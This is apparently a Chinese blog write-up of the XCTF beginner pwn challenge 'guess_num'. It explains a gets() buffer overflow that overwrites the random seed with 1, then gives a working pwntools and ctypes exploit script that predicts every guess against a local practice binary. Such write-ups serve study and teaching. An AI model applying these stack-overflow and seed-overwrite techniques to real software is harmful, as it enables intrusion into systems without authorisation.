攻防世界-pwn新手区-guess_num

运行一下
在这里插入图片描述
checksec和file
在这里插入图片描述

在这里插入图片描述
发现get()危险函数,该函数可以进行任意长度的输入
下面有seed函数,该函数为C语言中产生随机数的种子。
查看一下其栈空间
在这里插入图片描述
我们可以去覆盖一下这个seed地址
看了一下其他大佬的博客,知道可以用python的内置函数ctypes,进行C语言代码的调试
计算机里面不可能产生完全随机数,他会产生一个伪随机数,任何一个函数操作,理论上每次返回的值是一样的

为了每次调用的时候,返回值都不一样,所以有一个种子
只需要将种子覆盖为1,然后调用C语言的libc共享库,得到这个种子产生的随机值,就能够保证每次猜对了。



from pwn import *
from ctypes import *

context(os = "linux" , arch = "amd64" , log_level = "debug")
content = 0

def srand():
	
	lib = cdll.LoadLibrary("libc.so.6")
	lib.srand(1)

	for i in range(10):
		number = str(lib.rand()%6 + 1)
		p.recvuntil("Please input your guess number:")
		p.sendline(number)
def main():
	global p
	p = process("guess") 
	payload = b"a" * (0x30-0x10)
	payload = payload + p64(1)
	p.recvuntil("Your name:")
	p.sendline(payload)
	srand()
	p.interactive()

main()
posted @ 2022-04-08 21:23  续梦人  阅读(174)  评论(0)    收藏  举报